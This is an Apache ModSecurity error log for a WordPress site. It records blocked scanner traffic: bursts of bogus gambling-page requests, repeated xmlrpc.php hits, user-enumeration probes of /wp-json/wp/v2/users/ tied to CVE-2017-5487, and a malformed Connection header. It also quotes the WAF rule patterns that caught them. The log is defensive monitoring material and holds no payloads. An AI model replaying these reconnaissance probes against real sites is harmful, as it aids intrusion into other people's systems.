[Fri Feb 13 22:08:38.388834 2026] [:error] [pid 18097:tid 18108] [client 54.37.252.131:52298] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aY8wZnFzYiQ_BfaDDlZK0QAAAYk"]
[Fri Feb 13 22:08:40.309042 2026] [:error] [pid 47080:tid 47091] [client 54.37.252.131:52306] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aY8waEbWJwYCVF39z6tqagAAAcM"]
[Fri Feb 13 22:08:42.368417 2026] [:error] [pid 49225:tid 49298] [client 54.37.252.131:52322] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aY8wajwH8-zGxtAd3jshRQAAAIQ"]
[Fri Feb 13 22:08:44.595919 2026] [:error] [pid 47080:tid 47107] [client 54.37.252.131:52330] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aY8wbEbWJwYCVF39z6tqcgAAAdM"]
[Fri Feb 13 22:08:46.689347 2026] [:error] [pid 47080:tid 47093] [client 54.37.252.131:42916] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aY8wbkbWJwYCVF39z6tqdwAAAcU"]
[Fri Feb 13 22:08:48.662648 2026] [:error] [pid 51243:tid 51246] [client 54.37.252.131:42926] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aY8wcMim7ZTAHzi7xZvgPQAAAQE"]
[Fri Feb 13 22:08:50.613685 2026] [:error] [pid 49223:tid 49239] [client 54.37.252.131:42938] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aY8wch8A_fZBamNLnfV7zgAAAAc"]
[Fri Feb 13 22:08:52.767372 2026] [:error] [pid 51243:tid 51245] [client 54.37.252.131:42948] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aY8wdMim7ZTAHzi7xZvgQgAAAQA"]
[Fri Feb 13 22:08:54.808690 2026] [:error] [pid 49223:tid 49237] [client 54.37.252.131:51624] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aY8wdh8A_fZBamNLnfV71gAAAAU"]
[Fri Feb 13 22:08:56.928437 2026] [:error] [pid 49225:tid 49310] [client 54.37.252.131:51630] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aY8weDwH8-zGxtAd3jshUwAAAJA"]
[Fri Feb 13 22:08:58.894874 2026] [:error] [pid 49335:tid 49337] [client 54.37.252.131:51632] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aY8weqp--SFY2nwOiql_0QAAAMA"]
[Fri Feb 13 22:09:00.861613 2026] [:error] [pid 49223:tid 49240] [client 54.37.252.131:51638] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aY8wfB8A_fZBamNLnfV74gAAAAg"]
[Fri Feb 13 22:09:37.448947 2026] [:error] [pid 49335:tid 49346] [client 54.37.252.131:51640] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aY8woap--SFY2nwOiqmAAwAAAMk"]
[Fri Feb 13 22:09:39.483735 2026] [:error] [pid 51243:tid 51246] [client 54.37.252.131:50620] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aY8wo8im7ZTAHzi7xZvgZwAAAQE"]
[Fri Feb 13 22:09:41.666448 2026] [:error] [pid 51243:tid 51251] [client 54.37.252.131:50634] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aY8wpcim7ZTAHzi7xZvgagAAAQY"]
[Fri Feb 13 22:09:43.671009 2026] [:error] [pid 46821:tid 46826] [client 54.37.252.131:50640] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aY8wp46G1N5YSq0J0gcnRgAAAUM"]
[Fri Feb 13 22:09:45.584170 2026] [:error] [pid 49335:tid 49338] [client 54.37.252.131:42182] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aY8wqap--SFY2nwOiqmACgAAAME"]
[Fri Feb 13 22:09:47.538768 2026] [:error] [pid 47143:tid 47225] [client 54.37.252.131:42196] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aY8wq8hV30NbMarHJLtYdwAAAks"]
[Fri Feb 13 22:09:49.626277 2026] [:error] [pid 46821:tid 46830] [client 54.37.252.131:42198] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aY8wrY6G1N5YSq0J0gcnTQAAAUc"]
[Fri Feb 13 22:09:51.513989 2026] [:error] [pid 18097:tid 18103] [client 54.37.252.131:42212] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aY8wr3FzYiQ_BfaDDlZLCwAAAYQ"]
[Fri Feb 13 22:09:53.462123 2026] [:error] [pid 47143:tid 47231] [client 54.37.252.131:42222] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aY8wschV30NbMarHJLtYgAAAAlE"]
[Fri Feb 13 22:09:55.382343 2026] [:error] [pid 51243:tid 51249] [client 54.37.252.131:48334] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aY8ws8im7ZTAHzi7xZvgcgAAAQQ"]
[Fri Feb 13 22:09:57.272840 2026] [:error] [pid 49223:tid 49232] [client 54.37.252.131:48338] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aY8wtR8A_fZBamNLnfV8EgAAAAA"]
[Fri Feb 13 22:09:59.151454 2026] [:error] [pid 47080:tid 47093] [client 54.37.252.131:48348] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aY8wt0bWJwYCVF39z6tqxgAAAcU"]
[Fri Feb 13 22:10:01.085984 2026] [:error] [pid 47080:tid 47099] [client 54.37.252.131:48360] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aY8wuUbWJwYCVF39z6tqywAAAcs"]
[Fri Feb 13 22:10:03.180378 2026] [:error] [pid 46821:tid 46823] [client 54.37.252.131:48372] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aY8wu46G1N5YSq0J0gcnXQAAAUA"]
[Fri Feb 13 22:10:05.126601 2026] [:error] [pid 49223:tid 49239] [client 54.37.252.131:55914] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aY8wvR8A_fZBamNLnfV8IgAAAAc"]
[Fri Feb 13 22:11:36.807182 2026] [:error] [pid 51243:tid 51247] [client 158.247.243.94:39984] [client 158.247.243.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.247.243.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY8xGMim7ZTAHzi7xZvguwAAAQI"]
[Fri Feb 13 22:51:16.604137 2026] [:error] [pid 49223:tid 49252] [client 157.245.238.103:57274] [client 157.245.238.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.238.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY86ZB8A_fZBamNLnfWFvgAAABQ"]
[Fri Feb 13 22:51:40.894169 2026] [:error] [pid 47080:tid 47108] [client 88.198.14.6:41586] [client 88.198.14.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.198.14.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY86fEbWJwYCVF39z6t3CgAAAdQ"]
[Fri Feb 13 22:51:50.074386 2026] [:error] [pid 18097:tid 18118] [client 128.14.74.11:46684] [client 128.14.74.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.14.74.11, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY86hnFzYiQ_BfaDDlZTZgAAAZM"]
[Fri Feb 13 22:52:09.602995 2026] [:error] [pid 49223:tid 49255] [client 47.86.33.61:40394] [client 47.86.33.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.86.33.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY86mR8A_fZBamNLnfWF6AAAABc"]
[Fri Feb 13 23:07:57.484367 2026] [:error] [pid 18097:tid 18113] [client 165.227.48.141:54992] [client 165.227.48.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.48.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY8-TXFzYiQ_BfaDDlZWwgAAAY4"]
[Sat Feb 14 00:01:18.413794 2026] [:error] [pid 47143:tid 47216] [client 3.216.224.118:45784] [client 3.216.224.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.216.224.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9KzshV30NbMarHJLtoFwAAAkI"]
[Sat Feb 14 00:13:29.753666 2026] [:error] [pid 51243:tid 51249] [client 34.132.233.49:60776] [client 34.132.233.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.233.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9Nqcim7ZTAHzi7xZvyLgAAAQQ"]
[Sat Feb 14 00:13:33.358059 2026] [:error] [pid 51243:tid 51252] [client 34.132.233.49:60776] [client 34.132.233.49] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aY9Nrcim7ZTAHzi7xZvyMQAAAQc"]
[Sat Feb 14 00:13:34.865767 2026] [:error] [pid 51243:tid 51266] [client 34.132.233.49:60776] [client 34.132.233.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.233.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9Nrsim7ZTAHzi7xZvyMwAAARU"]
[Sat Feb 14 00:13:37.534447 2026] [:error] [pid 47358:tid 47372] [client 34.132.233.49:50752] [client 34.132.233.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.233.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9NscQFBuVVUQTESUw-YwAAAoc"]
[Sat Feb 14 00:13:39.421322 2026] [:error] [pid 47080:tid 47105] [client 34.132.233.49:55033] [client 34.132.233.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.233.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9Ns0bWJwYCVF39z6uNVgAAAdE"]
[Sat Feb 14 00:13:41.450205 2026] [:error] [pid 46821:tid 46836] [client 34.132.233.49:54655] [client 34.132.233.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.233.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9NtY6G1N5YSq0J0gc6QgAAAU0"]
[Sat Feb 14 00:13:43.534390 2026] [:error] [pid 18097:tid 18099] [client 34.132.233.49:55092] [client 34.132.233.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.233.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9Nt3FzYiQ_BfaDDlZjVAAAAYA"]
[Sat Feb 14 00:13:43.534621 2026] [:error] [pid 18097:tid 18099] [client 34.132.233.49:55092] [client 34.132.233.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.132.233.49, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9Nt3FzYiQ_BfaDDlZjVAAAAYA"]
[Sat Feb 14 00:51:06.702611 2026] [:error] [pid 49225:tid 49304] [client 43.159.128.247:49860] [client 43.159.128.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aY9WejwH8-zGxtAd3js8wwAAAIo"]
[Sat Feb 14 01:05:46.257946 2026] [:error] [pid 18097:tid 18122] [client 206.81.27.187:42336] [client 206.81.27.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.81.27.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9Z6nFzYiQ_BfaDDlZvKAAAAZc"]
[Sat Feb 14 01:54:09.724842 2026] [:error] [pid 47080:tid 47092] [client 54.36.181.89:48892] [client 54.36.181.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.181.89, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9lQUbWJwYCVF39z6uo9wAAAcQ"]
[Sat Feb 14 02:52:57.814995 2026] [:error] [pid 47143:tid 47228] [client 148.113.180.195:39980] [client 148.113.180.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.180.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9zCchV30NbMarHJLuArgAAAk4"]
[Sat Feb 14 02:56:35.468527 2026] [:error] [pid 49335:tid 49339] [client 35.232.178.204:65292] [client 35.232.178.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.178.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9z46p--SFY2nwOiqmt4wAAAMI"]
[Sat Feb 14 02:56:39.010585 2026] [:error] [pid 49335:tid 49347] [client 35.232.178.204:65292] [client 35.232.178.204] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aY9z56p--SFY2nwOiqmt6QAAAMo"]
[Sat Feb 14 02:56:40.478947 2026] [:error] [pid 49335:tid 49355] [client 35.232.178.204:65292] [client 35.232.178.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.178.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9z6Kp--SFY2nwOiqmt6wAAANI"]
[Sat Feb 14 02:56:42.344536 2026] [:error] [pid 51243:tid 51255] [client 35.232.178.204:52262] [client 35.232.178.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.178.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9z6sim7ZTAHzi7xZsKjQAAAQo"]
[Sat Feb 14 02:56:44.226781 2026] [:error] [pid 49335:tid 49338] [client 35.232.178.204:51829] [client 35.232.178.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.178.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9z7Kp--SFY2nwOiqmt7QAAAME"]
[Sat Feb 14 02:56:46.123841 2026] [:error] [pid 49223:tid 49237] [client 35.232.178.204:51996] [client 35.232.178.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.178.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9z7h8A_fZBamNLnfW9TAAAAAU"]
[Sat Feb 14 02:56:48.045016 2026] [:error] [pid 51243:tid 51262] [client 35.232.178.204:53365] [client 35.232.178.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.178.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9z8Mim7ZTAHzi7xZsKkAAAARE"]
[Sat Feb 14 02:56:48.045202 2026] [:error] [pid 51243:tid 51262] [client 35.232.178.204:53365] [client 35.232.178.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.232.178.204, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY9z8Mim7ZTAHzi7xZsKkAAAARE"]
[Sat Feb 14 03:11:30.069315 2026] [:error] [pid 49223:tid 49232] [client 8.130.142.207:42366] [client 8.130.142.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.130.142.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY93Yh8A_fZBamNLnfXAcgAAAAA"]
